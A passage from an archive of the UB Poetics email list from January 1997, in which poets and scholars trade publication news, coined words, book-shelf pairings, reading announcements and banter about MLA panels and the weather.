> silver and black Navajo bracelet and two ear studs--one diamond one onyx.
>
> No joke.
>
> Mike [redacted]
>

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212. **maria damon**
Re: Recent Publications
Sat 11 Jan 1997

---

chas b sz:
> However, I have noticed all together TOO FEW listings of recent publications
> by list participants. In fact I have been getting books and magazines
> published by people on this list without seeing any announcements of them
on
> the list. So perhaps this will prompt more such postings: editors,
> publishers: please send listings of recent publications including ordering
> information. Individuals: please send information on any new publications.
>
at mla i was pleased to see two of my "jewish" essays in print. one,
"word-landslayt: gertrude stein, allen ginsbeg, lenny bruce," is in People of
the Book: 30 Scholars reflect on their Jeiwsh identity, ed. Shellley Fisher
Fishkin and Jeffrey Rubin-Dorsky; and "Jazz-Jews, Jive and Gender: the Ethnic
Politics of Jazz Argot," in Jews and Other Differences: The New Jewish Cultural
Studies, edited by the boyarin brothers, daniel and jonathan. also, charles and
i both had essays in Modern Fiction Studies' special gertrude stein issue that
came o ut in the fall. the renga-range qabal has some pieces in inter/face, an
electronic journal. also, thanks to juliana spahr's suggestion, my piece on
Lenny bruce's obscenity trial and the jewish entertainer as cultural lightning
rod has finally been accepted --by postmodern culture -after 6 years in limbo
--and will come out in the january 1997 issue.--it feels funny to do this
--immodest or something --how 'bout we do it for eachother?--md

↑ Index

213. **maria damon**
Re: < NO SUBJECT ***>***
Sat 11 Jan 1997

In message <[redacted]> UB Poetics
discussion group writes:
> Can't praise enough Mark Weiss's sensible & informed posting on
> dialects/stan-
> dards. This reminds us that it's not ALL ideology: somewhere out there are
> real "facts" of language behavior, & at some point we've got to take our
> stand
> on those. Good to be reminded too of how "layered" everyone's language
beha-
> vior is. "Hebronics" is a funny idea, but not JUST funny, in view of how
> deep-

> ly Yiddish colors urban (Eastern mainly?) speech varieties. And not just
> that
> of Jews, i.e., it ISN'T "genetic." (Or, in Hebronics: "Genetics it isn't.")
>
> Brian

i must say i disagree; the term "genetic" did not refer to biological genetics but to linguistic geneaologies; the theory that Black American English (or what ever you want to call it) is fundamentally an appalachian cognate rather than an a west african derivative was, i think, refuted almost as soon as it appeared some years ago (and as i recall, of course foggily so forgive errors) the theory was not advanced by a linguist but by a literary southerner, a neo-agrarian as it were. so far, nielsen and corbin have offered the most interesting insights on this matter.--md
>

↑ Index

214. **maria damon**
Re: Listics
Sat 11 Jan 1997

---

that wonderful word is not original; i heard it in a creepy movie, the ruling class, starring peter o'toole as an innocent who gets turned into a jack the ripper type.--md

In message <[redacted]> UB Poetics
discussion group writes:
> How anout "insinuendo?"
>
>
> At 02:45 PM 1/11/97 +0600, you wrote:
> >Miekal And's posting on The Internalational Dictionary of Neologisms,
> >compiled by Xexoxial Editions is wonderful--a wild-minded effort
> >very much in dada spirit. The possibilities for extension seem vast:
> >In fact, couldn't such a dictionary become the evolving
> >archive for a brand new dialect, out of which could arise a whole
> >library of shimmering, hermetic works?
> >
> >Here's an addition to the IDN I'd like to offer:
> >
> >_melnick_ *adj* Having, displaying, or marked by the qualities of
> >heroism in language. *v* In circles of poetry, an entering
> >into words that causes one to think and behave in uncommonly

> >incautious ways.
> >
> >I think this new dialect should be called *listics*.
> >
> >
> >Kent
> >
> >
>

↑ Index

215. **maria damon**
Re: Listics
Sat 11 Jan 1997

---

i've long used the word "scrunchlings" to describe the delicious gunk left in the pan after a roast; called "debris" i think in new orleans cuisine. also a "splitch" of coffee, just a little bit.

In message <[redacted]> UB Poetics discussion group
writes:
> Dear Mark:
>
> What do you insinuate or innuate by insinuendo?
>
> Kent
>
>
> On January 11, Mark Weiss wrote in reply to my message below:
>
> >How anout "insinuendo?"
>
>
> At 02:45 PM 1/11/97 +0600, you wrote:
> >Miekal And's posting on The Internalational Dictionary of Neologisms,
> >compiled by Xexoxial Editions is wonderful--a wild-minded effort
> >very much in dada spirit. The possibilities for extension seem vast:
> >In fact, couldn't such a dictionary become the evolving
> >archive for a brand new dialect, out of which could arise a whole
> >library of shimmering, hermetic works?
> >
> >Here's an addition to the IDN I'd like to offer:
> >

> >_melnick_ *adj* Having, displaying, or marked by the qualities of
> >heroism in language. *v* In circles of poetry, an entering
> >into words that causes one to think and behave in uncommonly
> >incautious ways.
> >
> >I think this new dialect should be called *listics*.
> >
> >
> >Kent
> >
> >
>

↑ Index

216. **maria damon**

Re: Listics

Sat 11 Jan 1997

---

miekal A, you know i adore you and cherish our collaborations but do i detect a needlessly rigid opposition between "creativity" and "professoriality" in the post below? should i get prickly or grin and bear it?--your pal, maria professorina

In message <[redacted]> UB Poetics discussion group writes:
> One way at Dreamtime that we put neologisms to work is to come up with
> words for phenomena that have yet to be lexified. One could easily
> imagine needing words on this PoEtIxZ list for things like:
>
> a voyeuristic facinations with the dress of others
>
> uncodifiable names to poetic movements that are rumoured to exist
>
> the inproportionate ratio of writers to publishers & thus to readers
>
> critical stances that are substantiated by ecologies of language as
> opposed to academic constructs
>
> professorial authority
>
> the predisposition to forgetting the raw spirit of Logos once a poet
> becomes tenured, famous or tokenized
>
> the lineage of influences within which the writer places his/her self
>

> books of poetry that have never been opened (C Alexander must have a
> word for this one)
>
> linguistic phenomena that are synthaethetically beyond words
>
> an easy way to abbreviate L=A=N=G=U=A=G=E
>
> poetries of everyday life
>
> the resolve with which the children of poets decide to become physicans
> & attorneys
>
> the magnitude to which the proliferation of small press literature will
> soon exceed the metaphor of the Library of Babel in our lifetime
>
> Miekal
>
> 25 below & 2 months till spring & 75 miles from a decent library
>
>
>
>
>
>
> --
> @#
> Dreamtime Village website: http://net22.com/dreamtime
> QAZINGULAZA: And/Was/Wakest website:
> http://net22.com/qazingulaza
> e-mail for DT & And/Was: [redacted]
>

↑ Index

217. Pete Landers

Re: H=T=M=L

Sat 11 Jan 1997

---

use a table! check my site to see how this is done...
http://www.frontiernet.net/~landers/poetry.html

Pete

↑ Index

218. **Dave Zauhar**
Philip K. Dick and the SF Renaissance
Sat 11 Jan 1997

SF in this case meaning San Francisco and not science fiction Yesterday I was talking to a friend who's a science fiction nut, and he asked me if I had ever heard of poets named Robert Duncan and John Spicer. I said, sure, only it's jack spicer, why? and he said that he recently read in an old PKD fanzine that Dick once shared an apartment with two poets named Duncan and Spicer. Is this true? Is this common knowledge? This is interesting to me because Spicer and Dick have both asserted a notion of writing as something dictated from the outside: Spicer's poet-as-radio is analogous to Dick's idea of getting his words from outer space.

David Zauhar

↑ Index

219. **steph4848**
Re: Ebonix
Sat 11 Jan 1997

Before the list(ic) moves too far into new places, thank you for all the responses to my post.

Cheers,
Stephen Vincent

↑ Index

220. **DS**
no long johns down under
Sat 11 Jan 1997

---

yesterday was so windy had to wear an anchor, but today i wear a t-shirt & lavalava & am mid arguement about weather to go sailing or to the beach

dan

↑ Index

221. **shoemakers**
Re: Listics
Sat 11 Jan 1997

---

flawdacity=the 2am courage to send into cyberspace after a too-long day at the computer thoughts that you know will not seem so intelligent and/or interesting in the morning

anybody remember that tall, skinny kinda goofy-lookin' comedian who did the neologism thing in the 70s or 80s in a book called *Sniglets*, er somethin' like that?

steve

↑ Index

222. maria damon
Re: Listics
Sat 11 Jan 1997

---

okay, but: i don't see you lacking theoretical rigor, and if i have anything to say about it, you will soon be expounding in front of graduate students and faculty. xo, md

In message <[redacted]> UB Poetics discussion group writes:
> maria damon wrote:
> >
> > miekal A, you know i adore you and cherish our collaborations but do i
> > detect a
> > needlessly rigid opposition between "creativity" and "professoriality" in
> > the
> > post below? should i get prickly or grin and bear it?--your pal, maria
> > professorina
>
> Maria: I think it actually has to do with the Jungian subtext that
> Miekal in his formative years dropped out of 4 colleges a total of 8
> times & is still a freshman, & thus has always been denied the lifelong
> dream of holding forth in front of subsequent undergrads. Since Im
> incapable of theoretical rigor, I have to at least be allowed stance &
> counterpoint.
>
> --
> @#
> Dreamtime Village website: http://net22.com/dreamtime
> QAZINGULAZA: And/Was/Wakest website:
> http://net22.com/qazingulaza
> e-mail for DT & And/Was: [redacted]
>

↑ Index

223. **maria damon**
Re: no long johns down under
Sat 11 Jan 1997

In message <[redacted]> UB Poetics discussion group
writes:
> yesterday was so windy had to wear an anchor, but today i wear a t-shirt &
> lavalava & am mid arguement about weather to go sailing or to the beach
>
> dan
>
listen weisenheimer, some of us are facing 14 below zero on a daily basis here in the vast north country fair, where the winds hit heavy on the borderline. the only thing we can do for fun is hang over the keyboard hoping for a good msg fro
m poetix. what's a lavalava anyway, any relation to jetskis?--md

↑ Index

224. **maria damon**
Re: Philip K. Dick and the SF Renaissance
Sat 11 Jan 1997

In message <v01530501aefdd3de00a6@[204.171.146.80]> UB Poetics discussion group
writes:
> SF in this case meaning San Francisco and not science fiction
> Yesterday I was talking to a friend who's a science fiction nut,
> and he asked me if I had ever heard of poets named Robert Duncan and John
> Spicer. I said, sure, only it's jack spicer, why? and he said that he
> recently read in an old PKD fanzine that Dick once shared an apartment with
> two poets named Duncan and Spicer.
> Is this true? Is this common knowledge?

this is true and it is as common knowledge as anything about spicer and duncan.
actually i think he was the roommate of one (duncan?) while the other was hanging out, that is i don't think spicer and duncan ever lived together, but here's where kevin killian can step in and provide les faits durs. paul goodman too was in that circle; a few years ago i was convinced that goodman was about to undergo a bit huge resurgency of interest from american studies and cultural studies types but history has proved me wrong so far. maybe in another few years, when someone reallizes that the 50s had its intellectuals as well as its wildmen.

> This is interesting to me because Spicer and Dick have both
> asserted a notion of writing as something dictated from the outside:
> Spicer's poet-as-radio is analogous to Dick's idea of getting his words
> from outer space.
>
> David Zauhar
>

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225. **Gwyn McVay**
Re: no long johns down under
Sat 11 Jan 1997

Maria, a lavalava is a kind of lamplamp that's very enlightening if you're plugged in to the right level of consciousness...

bloop,
Gwyn

↑ Index

226. **maria damon**
Re: no long johns down under
Sat 11 Jan 1997

In message <[redacted]> Gwyn McVay
writes:
> Maria, a lavalava is a kind of lamplamp that's very enlightening if
> you're plugged in to the right level of consciousness...
>
> bloop,
> Gwyn

ah..i forgotgot. sorry we didn't meet at mla. does anyone have anything to say about any events other than the riding panel? how bout the live white boys' panel? how bout the readings? i myself saw walter lew, kimiko hahn and heinz insu fenkl read and enjoyed it. i'd never seen kimiko or met heinz, both of whose work i liked a lot. walter read his old stuff from the early 70s which was a treat, i hadn't heard those poems for almost 20 years and they were yummy.
also saw susan schultz, bob perelman and steve dickison there, as well as kathy crown, organizer of the rutgers splash, and julie chang, whose article on asian american poetry in MELUS is quite good. saw ben friedlander on the panel i "presided" at, the jewish cultural studies panel on nomadism exile diaspora, he gave a wonderful close reading of a levinas lecture on "promised land or

permitted land" which was a tight, crafted, self-sufficient world of argumentation through careful language. kinda like a poem, duh... and i met his
father too. and carla b was there too. saw arthur sabatini who told me about the panel on slams, which i couldn't attend but wisht i woulda (as they say here). any other takers?--md
>

↑ Index

227. **robert drake**
Re: listics
Sat 11 Jan 1997

> *It seems to me that one of the great things about Mikael And's post on the Internalational Dictionary of Neologisms is that it creates a brand new language-game space: one where signifiers become the willful signified of the dictionary authors' intents. (that signification stuff sounds old-hat--why not invent new words for the whole kittenkabuddle of it)...*
> *Kent*

which reminds of another laborer in the neologos fields, ge(of) huth, whose magazine _th subtle journal of raw coinage_ has fr years been devoted to the new word, generally presented in their freshminted forms & undefined... and in that vein:

anticdote
construsion
exceptations
farward (or farword)
inchantation, inchantatory
manifeisto
poetential
refision
scatterlogical
trancelate
terristory

asever
lbd

↑ Index

228. David Bromige
etymology or the study of insects
Sat 11 Jan 1997

"listen weisenheimer." i love it when a dame on the list tawks tuff!

& quotes dylan. listen, a lavalava is (1)more of an eruption than you'll ever want to witness

(2)a shy person asking the way to the washroom

(3) a skirt a man can wear when it gets tropical enough

↑ Index

229. David Bromige
listics
Sun 12 Jan 1997

could we not enhance the meaning of a word by showing its employment in a sentence? For example,
surfered,
as in,
she surfered from minstrel tramps and dislikes of her.

Example two:
sweatheat,
as in,
she scathed her sweatheat's mane in the arleady defacted tunk.

Example three:
heavely,
as in,
Mother drank heavely.(or. Mother never drank heavely).

Example four:
werter, and gridated,
as in,
This werter never gridated collage.

Example five:
spanrods,
as in,
Tow moanratic spanrods.

Example six:
ares,

as in,
Two cystals danegeld from here ares.

* * * * * * * *

+ + + + + + + +
* * * * * * * *

For fellow insomniacs at the ends of their tethers (otherwise i'd be reading Habermas on Hegel along with the people who can sleep), let me suggest another game: look for potentially interesting pairings on whatever bookshelves (or portions of the floor) within easy view from where you sit at yr computer.

E.g.,
Leonard Simon's _Dissociated States_ along with Francois Dominique's publication _Quatre poetes chinois_

Example two: Vallejo's _Trilce_ (the Eshleman tr.) along with Tony Lopez, _Negative Equity_

Example three: Auden, _A Certain World_ along with
Susan Gevirtz,_Domino: point of Entry_

Example four: Ouspensky's _Tertium Organum_ along with
George Lakoff, _Women, Fire and Dangerous Things_

Example five: Piaget, _The Child's Conception of Movement and Speed_ with Augustine, _Confessions_ tr by Rex Warner.

Example six: Grenier, _Burns Night Heard_ along with
Ovid's _Metamorphoses_ tr by Horace Gregory.

Contemplating these pairings, I think again how arbitrary pairings can feel. Why this one and not that? Doesn't the gevirtz yearn to be next to the augustine? and isn't that reciprocal? Doesn't the lakoff hanker after the grenier, the grenier after the vallejo? What if ouspensky and leonard simon were stranded together by bad weather in a distress-rate hotel nr the airport in denver--would opposites pressured by propinquity seize opportunity?

i'm afraid none of my pairings is remarkable enough to be what i was looking for. Of course Beckett's _Worstword Ho_ is beside Kafka's _Parables_. Other people's bookshelves would be a lot more entertaining.

well that inched me a little closer toward sleep. you come, too. the words are ugly, dank and cheap. we are having them replaced with lively, bark and leap. that is our error. they should be replaced with lulling, narc (otic) and deep(endable). if i die before i wake savor the garlic on my steak. db

↑ Index

230. DS
to whoever who recommended power
Sun 12 Jan 1997

Thankyou,

i am greatly enjoying 'The Goldbug Variations'

↑ Index

231. Miekal And
neuraListics
Sun 12 Jan 1997

[redacted] wrote:

> *miekal: so nice to see you again in these parts, partner!...*
>
> *best,*
>
> *joe*

& Ive been feeling so isolated in my little ivory tower all these years. Actually the tower is more likely made out of mud, bird feathers, tumeric, echinacea seed cones, handmade paper, old copies of L=, broken glass, recycled time machine parts, disconnect notices, soiled lingerie,

and a

periscope

for spying on new visitors

Miekal

Mr B has just informed me of my improper use of attachments. I apologize to anyone whose mailsystem got clogg﹟d.

as

in

they

clog id thur way cyberly w/hndsght

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:

http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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232. **Miekal And**
Re: neologism redux De Basis
Sun 12 Jan 1997

--
@#
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http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

233. **Miekal And**
Re: neologism redux De Basis
Sun 12 Jan 1997

Thomas Bell wrote:
>
> There is also a list of words I could live without ever hearing again.
> There is also a language perverted by the media.
>
> De Basis List
>
> liberal (thanks to George Bowering a few months ago)
> dysfunctional
> new age
> cyber
> pewter mugs
> age, ism or post-age
> PC, pro, aunti
> Power Jams
> based on the real-life story

no chance of redeeming cyber. ive been using that word before cyber was cyber & in fact created a concept in 1985 called the cyberpsychic bulletin board which in my mind 12 years later was the web in its Theordor Nelson infancy.
--
@#

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QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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234. Miekal And
whereas, merely lent the theme
Sun 12 Jan 1997

---

felokalendria-- voyeuristic facinations with the dress of others

qrasificordon--uncodifiable names to poetic movements that are rumoured to exist

zpeg-the inproportionate ratio of writers to publishers & thus to readers

ecosophy-critical stances that are substantiated by ecologies of language as opposed to academic constructs

professorial authority-professorial authority

prehistorlection-the predisposition to forgetting the raw spirit of Logos once a poet becomes tenured, famous or tokenized

zeme-the lineage of influences within which the writer places his/her self

papwrath-books of poetry that have never been opened (C Alexander must have a word for this one)

(!=?)- linguistic phenomena that are synthaethetically beyond words

ultex- an easy way to abbreviate L=A=N=G=U=A=G=E

urlip-poetries of everyday life

pocognik-the resolve with which the children of poets decide to become physicans & attorneys

blent- the magnitude to which the proliferation of small press literature will soon exceed the metaphor of the Library of Babel in our lifetime

David Bromige rites:

could we not enhance the meaning of a word by showing its employment in a sentence?

Hoarse with fashion, felokalendria preoccupied theory mottled there for once more urlip. As youthling I lernt ultex as urliptoid & why not? Inspisered by selfsame zeme, my 20 titles in this genre suffered fingerless papwrath in the blent, narry blent I immodest. By then as all ways qrasificordon denatured pocognik

son's muse songs. Where ecosophy & professorial authority (!=?) one node at a distance, my days with prehistorlection continue into my grayness.

↑ Index

235. Pierre Joris
Re: Gwyn and Mark and Carolyn and Joan
Sun 12 Jan 1997

Walter K. Lew wrote:
>
> I half-second Maria on Celan (I wd not want to argue that his
> achievement was "superior" to Oppen's), but I'm mainly posting this as an
> opportunity to express my deep gratitude to Pierre Joris for doing such
> wonderful translations of Celan (as in _Breathturn_ [Sun & Moon Press]): I
> don't read German and what translations I'd seen before had not convinced
me
> of Celan's greatness, of which I am now thoroughly convinced. I've heard
> that the next volume of translations is also due out fr Sun & Moon--when can
> I expect to order it?

Walter -- thanks for the kind words -- right now working on intro to next volume of Celan(THREADSUNS) which is slightly behind schedule (my fault) but should be out later this year. BREATHTURN, btw, so Douglas Messerli told me yesterday, is being reprinted right now & shld thus be available again soon. -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Every poem is the anti-computer. Even the one
written by the computer.

Paul Celan
==========

↑ Index

236. Rachel Loden
the secret life of books
Sun 12 Jan 1997

David Bromige wrote (in part):

> *Contemplating these pairings, I think again how arbitrary pairings can feel. Why this one and not that? Doesn't the gevirtz yearn to be next to the augustine? and isn't that reciprocal? Doesn't the lakoff hanker after the grenier, the grenier after the vallejo? What if ouspensky and leonard simon were stranded together by bad weather in a distress-rate hotel nr the airport in denver--would opposites pressured by propinquity seize opportunity?*

I'm so happy to hear that I'm not the only one loopy enough to have thought of something like this. At sixteen, with a huge stack of books next to my bed, I used to worry about how _Our Lady of the Flowers_ would *feel*, lying under, say, _The Artaud Anthology_. Was it a good idea for _Kulchur_ 17, with Robert Indiana's "DIE" on the cover, to be next to (the somewhat tender) _Kaddish_? Things like that. Oh, to be young again. Now I am so cavalier: what is _The Scum Manifesto_ (a true curio) doing next to *anything*, let alone _The Beat Generation and the Angry Young Men_? What an insensate brute, what a real Bluto I've become.

Wearing: shall I be the first on the list to admit to wearing a dress? Blue cotton, thin from too many washings. Tatami sandals. A second first (in the admissions dept.): plain gold band.

Rachel Loden

↑ Index

237. Miekal And
bp & the allness of poetryics sensate
Sun 12 Jan 1997

Ive been a might out of touch out here in Packerland & am wondering what sweet & generous tidbits there might be on the web per bp Nichol afterlife. & has Martyrologies come out in something under one cover & likewise has his visuals / his soundsongs been compedulated? (caution: if we get on the long-poem thread i will never shutup) & terribly present I wonder what the 1997 rendition of the 60s mimeo revolution that bp was ganglialy in the midst of?

Miekal wondering how he will ever survive superbowlmania

↑ Index

238. Miekal And
Fetal Poetics
Sun 12 Jan 1997

Perhaps more than any theory any discourse I most wonder about the real life dynamics of how poets on this list who either have children or are in everyday contact with children breath their own poetic sensibilities onward thru their children. & by drift & by deriv⁄ maybe posters could tag the nonadult head-count in their households.

Miekal who co-creates with 9 year old son Zon Wakest first began when he took on the Mac SE at age 1 1/2.
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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239. Miekal And
on the words known as neologisms some web sites
Sun 12 Jan 1997

Spiritism--
http://www.ifi.unicamp.br/~xavier/questions/neol.html

Sample Neologisms from The Independent, Jan-Mar 1994--
http://radar.rdues.liv.ac.uk/newwds/ind941.html

Sample Neologisms from The Independent, Apr-Jun 1994--
http://radar.rdues.liv.ac.uk/newwds/ind942.html

Webgeist Glossary--
http://www.bsc.nodak.edu/~bjork/webgeist/gloss1.html

Lark's World of Made-up Words--
http://www.efn.org/~lark_w/neolog.htm

GENDER-FREE PRONOUN FAQ--
http://www.eecis.udel.edu/~chao/gfp/

Mitchell Szczepanczyk's Fun With Language WebPage--
http://www-personal.umich.edu/~szcz/

interactive lexicon by Karl
LaRocca--http://ariel.cobite.com/abf/abf/lexicon.html

Transhuman Terminology Sub-Page--
http://www.aleph.se/Trans/Words/

Root knowledge : The need for
neologisms--http://www.uio.no/~iroggen/Root_knowledge.html"

& with luck the hypertext verion of our own 3000 word Internalational Dictionary of Neologisms should be up at our site in the next couple weeks. Still time to get those words listed!

↑ Index

240. Miekal And
Re: Recent Publications, Hebronics, & Neologisms
Sun 12 Jan 1997

Zeena Parkins is an incredible musician & I highly recommend her work, have scene her perform with zorn, frith, cartwright & if memory serves me I might even have seen her do something in the same noisy show as Bruce Andrews at the improvisation series at the old Anarchist Switchboard on 7th St. Guess Bruce isnt listening to corrrrrrect me if Im wrong.

Miekal And
The Driftless Academy of Botanical Apparitions

↑ Index

241. maria damon
Re: Listics
Sun 12 Jan 1997

And rites:
> I was digging thru my archives & thru the wonders of electro
> 'pataphysics I have rematerialized this very telling photo of Maria
> Professorina at Age 6. I have attached it as a GIF file, which is
> viewable with photoshop on the mac & many windows formats. Suitable for
> framing.
>
> miekal

you rat! you know i don't have the technology to see what yr saying about me!
no fair!==md

↑ Index

242. **maria damon**
Re: etymology or the study of insects
Sun 12 Jan 1997

>
> (2)a shy person asking the way to the washroom
>
i like this one best, oh red-suspendered one.

↑ Index

243. **Miekal And**
Having trouble with what to say in your next book?
Sun 12 Jan 1997

Having trouble with what to say in your next book?

By the beneficient grace of the esteemed Amendant Hardiker it is now possible to push one button & create a new book in an unique language ever 4 hours. The PATALITERATOR is a clunky, smoke-spewing language generator created in 1985 for the Macintosh computer. Anyone with a minimal knowledge of hypertalk can tweak this little hummer to their heart's delight. All speech fragment fields are fully editable. Hypercard 1.2 or better is required to operate it, no prior training necessary. The file is 55k in length & can either be requested via email or send a Macintosh floppy & an SASE to:

Xerbudox TechNeologies
Rt 1 Box 131
LaFarge, WI 54639
[redacted]

↑ Index

244. **maria damon**
Re: listics
Sun 12 Jan 1997

---

to rachel and david b: i've often noted the quaint pairings that come from my having been almost strictly alphabetical in my organizing my bookcases. foucault and st francis have to make conversation, st bonaventure, black elk and boone&cadden's "engendering men," and best of all, dante and damon. james clifford next to lucille clifton, thom gunn next to jessica hagedorn, genet next to dizzy gillespie. a wonderful party!

↑ Index

245. **Miekal And**
sound poetry web site
Sun 12 Jan 1997

Narrative as Genealogy: Sound Sense in an Era of
Hypertext by Larry Wendt

http://cadre.sjsu.edu/switch/sound/articles/wendt/nghome.htm

in excerpt from the home page:

"In the late nineteen sixties, a group of Swedish artists working as 'The Language Group' of a recently re-organized chamber music society, known as Fylkingen along with members from the Literary Unit of the Swedish Broadcasting Corporation, began producing a new kind of literary work for the tape recorder. It was a form of language art realized solely for the audio domain -- either projected from a loudspeaker, from the radio or in some similar sonic performance venue. In the early nineteen sixties, Fylkingen began to introduce Sweden to all kinds of artistic experimentation contemporary to the times such as concrete poetry, FLUXUS,electro-acoustic music, what eventually became known as performance art, and ways of working which were called 'borderline transgressors' since they were not easily categorized as being in any one particular field of art. "

↑ Index

246. **amato**
Re: Listics
Sun 12 Jan 1997

---

hey maria, you look CUTE...

miekal: so nice to see you again in these parts, partner!... how about (b/c i like puns as much as rick powers in _goldbug_)

> "gift"

to mean

> "unauthorized display of gif (or equiv.) files"

as in

> "maria was gifted"

or

> "miekal gifted maria [professorina]"

or

"i'll gift you, my pretty"

(((we can also make application to the new
new
new hacker's dictionary...

///

best,

joe

↑ Index

247. **amato**
Re: the secret life of books
Sun 12 Jan 1997

---

rachel, ditto on the plain gold band, thanx for that!...

a most disturbing (for me) alphabetical pairing was endo and ellis (i was looking for endo)... which led me to pick up _american psycho_... after a few minutes on one knee there in the bookshop, i was (to put it mildly) more than a bit stunned by the brutality of this latter...

anyway...

best,

joe

↑ Index

248. **Tom Beard**
Re: to whoever who recommended power
Sun 12 Jan 1997

DS wrote:
>
> Thankyou,
>
> i am greatly enjoying 'The Goldbug Variations'

Just seconding Dan's thanks. It's a wonderful hybrid of _Godel, Escher, Bach_ and _The Name of the Rose_ - I was lucky to pick it up for $5 at a discount shop on Ponsonby Road, since I haven't seen it in the major bookshops.

Tom.

↑ Index

249. **maria damon**

Re: Listics

Sun 12 Jan 1997

---

yikes guyzies, you sure know how to work a girl's paranoia.--md

In message <[redacted]> UB Poetics discussion
group writes:
> hey maria, you look CUTE...
>
> miekal: so nice to see you again in these parts, partner!... how about
> (b/c i like puns as much as rick powers in _goldbug_)
>
> "gift"
>
> to mean
>
> "unauthorized display of gif (or equiv.) files"
>
> as in
>
> "maria was gifted"
>
> or
>
> "miekal gifted maria [professorina]"
>
> or
>
> "i'll gift you, my pretty"
>
> (((we can also make application to the new
> new
> new hacker's dictionary...
>
> ///
>
> best,
>
> joe
>

↑ Index

250. Jordan Davis
Re: the secret life of books
Sun 12 Jan 1997

Thank you David and Rachel for bringing this up just as I'm repairing my bookshelves. No matter what interloper may show up elsewhere (say Valery Oisteanu between Doug Oliver and Frank O'Hara) I can rest confident that Rimbaud Rilke and Ritsos will be carousing until the house falls down

Jordan

↑ Index

251. Thomas Bell
Re: neologism redux De Basis
Sun 12 Jan 1997

There is also a list of words I could live without ever hearing again. There is also a language perverted by the media.

De Basis List

liberal (thanks to George Bowering a few months ago)
dysfunctional
new age
cyber
pewter mugs
age, ism or post-age
PC, pro, aunti
Power Jams
based on the real-life story

↑ Index

252. dbkk
the Mina Loy effect
Sun 12 Jan 1997

Small Press Traffic presents

Becoming Modern: The Life of Mina Loy
a talk by Carolyn Burke

Friday, January 17, 7:30 p.m.

Small Press Traffic¹s _Talk Series_ continues with this presentation by Carolyn Burke, who will discuss her new biography of the enigmatic modernist poet Mina Loy, and discuss as well the travails of her twenty-year research project,

over four continents, on the trail of Loy. London-born Mina Loy (1882-1966) was the intimate of William Carlos Williams, Marcel Duchamp, Gertrude Stein, Ezra Pound, Joseph Cornell, Marinetti, Djuna Barnes and Man Ray; yet despite her genius, beauty and pizzazz she has--until quite recently--been almost forgotten, except for a few dedicated ³Loy²-alists. Her biographer, Carolyn Burke, holds a Ph.D. in literature from Columbia and is well known for her translations and critical work on post-modern French feminisms, particularly Irigaray, Cixous, Kristeva. A native of Australia, she now splits her time between Santa Cruz and Sydney.

New College Theater
777 Valencia Street, SF
$5

↑ Index

253. **Miekal And**
Re: News !
Sun 12 Jan 1997

> *OTIS RUSH -*

aw shucks! no chris mann?

mA

↑ Index

254. **dbkk**
The Retallack Effect
Sun 12 Jan 1997

I've been thinking about Joan Retallack stunning audiences at the MLA. She stunned audiences too when she read in San Francisco this season for Small Press Traffic--but in a totally positive way. Many of the people in the audience were not familiar with her work, and hardly any had heard her read before. Those who knew her work only by reading it were, I think, forced into a new reading of it by the dynamism of her performance.

The audiences this past year at Small Press Traffic events have been a dream come true--large, supportive, and enthusiastic. But there was an extra thrill to those readings where the audience was taking a risk in coming to see readers they were unfamiliar with--and feeling a sense of payoff, the excitement of a new discovery. When the Canadian poets Erin Moure and Lisa Robertson read, there was a sense of magic in the air. I think we're all shocked when we go hear something new and actually like it, actually feel an opening to new possibilities.

While it's vital to support one's immediate community, it's so easy to get into the rut of only hearing the same sorts of work over and over again. When Joan read--when Lisa and Erin read--and when Kenward Elmslie read Friday night--I got floods of compliments about their readings, so many that I felt embarrassed: I wish I could be as good as they are, at reading, at transforming an audience.

By the way, the first time I ever read in public was at a group reading at the MLA. It was the late 70s and there were like 200 people in the audience, and I wore white painters pants, the kind with the loops on the outer thighs.

Dodie

↑ Index

255. **maria damon**
Re: The Retallack Effect
Sun 12 Jan 1997

---

dodie rites
> I've been thinking about Joan Retallack stunning audiences at the MLA. She
> stunned audiences too when she read in San Francisco this season for Small
> Press Traffic--but in a totally positive way. Many of the people in the
> audience were not familiar with her work, and hardly any had heard her read
> before. Those who knew her work only by reading it were, I think, forced
> into a new reading of it by the dynamism of her performance.
>
i've only heard her read once, that time at orono (when you read too) and was magicked just as you describe. i also love her on the page. what did we do to deserve such pleasure?--maria d

↑ Index

256. **David Bromige**
fetal poetics (a consequence of plain gold bands)
Sun 12 Jan 1997

---

my 32-y-o son had to grow up in a house permeated with poets & nonetheless attends KSW & other vanc'r readings. he used to write wonderful letters when he was stalled in some shutdown harbor during his shrimpboat months, but if he continues to write, i dont get to read it.

my 14-y-o daughter lives in-house & writes poetry. she enjoys giving readings at which she is very good & i've availed myself of her talents a couple times (she reads the straight lines above the lines in "Lines"{HOHKong)). The phrases that escape her during wake-up calls are family treasures but she wouldnt thank me

for sharing. One thing she said age 4 sticks in my mind: "the lamp is a suitcase." I think the 'pataphysicist poet Opal L. Nations was visiting at that time.

myself did not lisp in numbers but did ask age 3 for another ham sandwich, this time w/o any bread & butter. the cognitive has remained my toy park. db

↑ Index

257. **Charles Alexander**

Re: the Mina Loy effect

Sun 12 Jan 1997

Dear DBKK

Are these small press traffic talks being taped/transcribed & somehow made available?

thanks,

charles

At 10:38 AM 1/12/97 -0800, you wrote:
>Small Press Traffic presents
>
>_Becoming Modern: The Life of Mina Loy_
>a talk by Carolyn Burke
>
>Friday, January 17, 7:30 p.m.
>
>Small Press Traffic¹s _Talk Series_ continues with this presentation by
>Carolyn Burke, who will discuss her new biography of the enigmatic
>modernist poet Mina Loy, and discuss as well the travails of her
>twenty-year research project, over four continents, on the trail of Loy.
>London-born Mina Loy (1882-1966) was the intimate of William Carlos
>Williams, Marcel Duchamp, Gertrude Stein, Ezra Pound, Joseph Cornell,
>Marinetti, Djuna Barnes and Man Ray; yet despite her genius, beauty and
>pizzazz she has--until quite recently--been almost forgotten, except for a
>few dedicated ³Loy²-alists. Her biographer, Carolyn Burke, holds a Ph.D. in
